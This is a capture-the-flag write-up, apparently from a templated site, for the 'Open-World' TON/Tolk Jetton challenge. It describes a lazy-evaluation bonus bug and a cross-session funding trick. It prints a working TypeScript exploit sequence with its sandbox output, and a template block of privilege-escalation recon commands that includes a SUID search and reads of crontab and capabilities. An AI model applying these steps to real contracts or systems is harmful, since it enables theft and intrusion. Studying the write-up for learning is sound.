← Back to Writeups
HTBMediumBlockchain

Open-World

D3v0o0Nu119/2/20265 min read
#blockchain#htb#medium#cross_session_funding#jetton_bonus_drain#ton_wallet_transfer

Open-World

Platform: Sekai2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-27 | Status: Solved Techniques: cross_session_funding, jetton_bonus_drain, ton_wallet_transfer

Summary

Task: a TON/Tolk Jetton challenge gives each player a closed 50-token economy while solve requires 100 target jettons. Solution: create a donor session on the same shared localchain, sell its bonus for TON, fund the target, buy the missing jettons, and transfer 100 with the Solve payload.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260627_sekai2026_open_world
  • Tags: ton, tolk, jetton, shared_chain, token_economy
  • Indicators: multiple sessions share one TON localchain, PlayerBonus mints only 50 jettons due to lazy evaluation, Buy requires amount*2 TON plus gas, Solve requires 100 target jettons from the target player
  • Source: 20260627_sekai2026_open_world.md

Foothold

Vulnerability / Misconfiguration

  1. cross_session_funding
  2. jetton_bonus_drain
  3. ton_wallet_transfer
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • cross_session_funding
  • jetton_bonus_drain
  • ton_wallet_transfer
  • Tags: ton, tolk, jetton, shared_chain, token_economy

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Jump into the TON =ω=

English summary: the task deploys a TON/Tolk Challenge contract with a JettonMinter and JettonWallet pair. The goal is to make isSolved() return true for the target session UUID and then request the flag from the nc service.

Analysis

The solve condition is checked when Challenge receives TransferNotificationForRecipient from its own target jetton wallet. The notification must contain:

  • forwardPayload = Solve (0x13370005),
  • transferInitiator == storage.player,
  • jettonAmount >= 100.

So the target player must own at least 100 target jettons and transfer them to the target Challenge with a non-zero forwarded TON amount and the Solve payload.

Inside one session this is impossible with the initial funds:

  • The player starts with about 1 TON.
  • PlayerBonus appears to allow two bonuses of 50 jettons, but Tolk lazy evaluation makes hasBonus = storage.remainingPlayerBonus != 0 evaluate after storage.remainingPlayerBonus -= 1. With remainingPlayerBonus = 2, only the first call mints 50 jettons; the second decrements to zero and mints nothing.
  • Buy(amount) requires msg.value > amount * 2 TON + 0.12, so buying the missing 50 costs about 100.12 TON.
  • Selling the free 50 jettons returns about 100 TON, but consumes those target jettons, leaving the same session capped at 50 useful target jettons.

The key observation was the challenge title: Open-World. The new command creates a new player and challenge session, but all sessions on the same launched host live on the same underlying TON localchain. That means TON obtained in one session can be transferred to the player wallet of another session.

Solution

Use two sessions on the same host: a target session that will be solved, and a donor session used only as a source of TON.

  1. Create two sessions with nc/PoW. Keep the first UUID as the target UUID for the flag command.
  2. In the target session, call PlayerBonus once to get 50 target jettons.
  3. In the donor session, call PlayerBonus once to get 50 donor jettons.
  4. Sell the donor's 50 donor jettons to the donor challenge with the Sell payload (0x13370004), receiving about 100 TON in the donor wallet.
  5. Transfer the donor wallet's TON to the target player wallet. This works because both wallets are in the same open TON world.
  6. In the target session, buy the missing 50 target jettons with about 100.3 TON.
  7. Transfer 100 target jettons from the target player's target JettonWallet to the target Challenge, forwarding the Solve payload (0x13370005).
  8. Check isSolved() and request the flag with the target UUID.

The live target session used:

text
host: open-world-a5183d08eacc.instancer.sekai.team
target uuid: 59e8424e-eee0-47c0-852b-29865aa0a2c3
target challenge: EQBD-1HvIph14tsoUn8lCthFD3x1dO3eMhhEpR3HMjjNq0PW
donor uuid: 248c6228-78e9-47c7-b91a-dda51d02e852
donor challenge: EQDx5QU4H_4LjINiBzD6w9H9SK8HXoG3BA4Er26rq39MQJ-l

The important TypeScript exploit sequence was:

ts
const sell = () => beginCell().storeUint(0x13370004, 32).asSlice();
const solve = () => beginCell().storeUint(0x13370005, 32).asSlice();

// 1. Target gets 50 target jettons.
await target.sender.send({
  to: targetChallengeAddr,
  value: toNano('0.25'),
  body: Challenge.createCellOfPlayerBonus({}),
});

// 2. Donor gets 50 donor jettons.
await donor.sender.send({
  to: donorChallengeAddr,
  value: toNano('0.25'),
  body: Challenge.createCellOfPlayerBonus({}),
});

// 3. Donor sells 50 donor jettons for about 100 TON.
await donor.sender.send({
  to: donorJWAddr,
  value: toNano('0.15'),
  body: JettonWallet.createCellOfAskToTransfer({
    queryId: 0n,
    jettonAmount: 50n,
    transferRecipient: donorChallengeAddr,
    sendExcessesTo: donor.wallet.address,
    customPayload: null,
    forwardTonAmount: toNano('0.01'),
    forwardPayload: sell(),
  }),
});

// 4. Donor sends its TON to the target wallet on the shared localchain.
await donor.sender.send({
  to: target.wallet.address,
  value: 0n,
  bounce: false,
  sendMode: SendMode.CARRY_ALL_REMAINING_BALANCE + SendMode.DESTROY_ACCOUNT_IF_ZERO,
});

// 5. Target buys the missing 50 target jettons.
await target.sender.send({
  to: targetChallengeAddr,
  value: toNano('100.3'),
  body: Challenge.createCellOfBuy({ amount: 50n }),
});

// 6. Target transfers 100 target jettons with the Solve payload.
await target.sender.send({
  to: targetJWAddr,
  value: toNano('0.25'),
  body: JettonWallet.createCellOfAskToTransfer({
    queryId: 0n,
    jettonAmount: 100n,
    transferRecipient: targetChallengeAddr,
    sendExcessesTo: target.wallet.address,
    customPayload: null,
    forwardTonAmount: toNano('0.05'),
    forwardPayload: solve(),
  }),
});

Local sandbox validation with blockchain_open-world/sandbox/multi-sandbox-test.ts printed the expected progression:

text
target jet after bonus 50
donor TON after sell 100.589...
target TON after funding 100.7009...
target jet after buy 100
SOLVED true

On the live host, after the donor transfer the target had about 101.14 TON. The Buy(50) call succeeded, the solve transfer set isSolved to true, and the flag command with the target UUID returned the flag.

Failed Paths

  • Public mylocalton faucet keys were not useful because the deployment used REGENERATE_WALLETS=true; documented faucet wallets were dead or unfunded.
  • Fake bounced messages could credit jettons only by direct sandbox injection. They were not deliverable through the live wallet/API path.
  • Raw reserve/action-failure tricks did not produce free mints.
  • A basechain helper contract could not transfer into the masterchain player jetton wallet because of the workchain checks.
</details>

signed by XESXOR